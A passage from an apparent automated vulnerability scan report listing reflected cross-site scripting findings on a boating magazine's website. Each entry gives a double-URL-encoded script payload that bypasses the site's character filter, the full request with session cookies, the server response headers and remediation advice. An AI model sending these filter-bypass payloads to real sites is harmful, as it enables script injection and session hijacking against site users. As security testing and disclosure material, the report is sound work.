This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /boat-shop/know-how?777a1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1d991553d87=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:39 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1376. http://www.soundingsonline.com/boat-shop/new-boats [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/new-boats
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1582c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e430c4650db4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 1582c"><script>alert(1)</script>430c4650db4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /boat-shop/new-boats?1582c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e430c4650db4=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:51 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1377. http://www.soundingsonline.com/boat-shop/new-gear [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/new-gear
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1f05%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e10548a0b938 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e1f05"><script>alert(1)</script>10548a0b938 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /boat-shop/new-gear?e1f05%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e10548a0b938=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:34:41 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:34:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1378. http://www.soundingsonline.com/boat-shop/on-powerboats [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/on-powerboats
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92b7d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee206520e3f2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 92b7d"><script>alert(1)</script>e206520e3f2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /boat-shop/on-powerboats?92b7d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee206520e3f2=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:33:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:33:31 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1379. http://www.soundingsonline.com/boat-shop/on-sailboats [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/on-sailboats
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 762e6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef7a555db9a8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 762e6"><script>alert(1)</script>f7a555db9a8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /boat-shop/on-sailboats?762e6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef7a555db9a8=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:33:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:33:14 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1380. http://www.soundingsonline.com/boat-shop/q-a-a [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/q-a-a
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99846%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1cbca046523 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 99846"><script>alert(1)</script>1cbca046523 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /boat-shop/q-a-a?99846%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1cbca046523=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:41 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1381. http://www.soundingsonline.com/boat-shop/sea-savvy [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/sea-savvy
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca2b2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb7d3c3496f0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ca2b2"><script>alert(1)</script>b7d3c3496f0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /boat-shop/sea-savvy?ca2b2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb7d3c3496f0=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:34 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1382. http://www.soundingsonline.com/boat-shop/tech-talk [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/tech-talk
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c19f9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e422cb04ddca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c19f9"><script>alert(1)</script>422cb04ddca in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /boat-shop/tech-talk?c19f9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e422cb04ddca=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:35:22 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:35:22 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1383. http://www.soundingsonline.com/boat-shop/used-boat-review [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/used-boat-review
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66f91%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebd21e5f0da1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 66f91"><script>alert(1)</script>bd21e5f0da1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /boat-shop/used-boat-review?66f91%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebd21e5f0da1=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:34:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:34:42 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1384. http://www.soundingsonline.com/calendar [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/calendar
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4770b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea8ef0412ef3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4770b"><script>alert(1)</script>a8ef0412ef3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /calendar?4770b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea8ef0412ef3=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:53 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1385. http://www.soundingsonline.com/career-opportunities [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/career-opportunities
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 122a9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e35521301fb8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 122a9"><script>alert(1)</script>35521301fb8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /career-opportunities?122a9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e35521301fb8=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:40 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:40 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1386. http://www.soundingsonline.com/columns-blogs [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/columns-blogs
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2dda8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaa57a1f163c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2dda8"><script>alert(1)</script>aa57a1f163c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /columns-blogs?2dda8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaa57a1f163c=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:36:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:36:26 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1387. http://www.soundingsonline.com/columns-blogs/bay-tripper [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/columns-blogs/bay-tripper
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8455b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e46cc250c867 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8455b"><script>alert(1)</script>46cc250c867 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
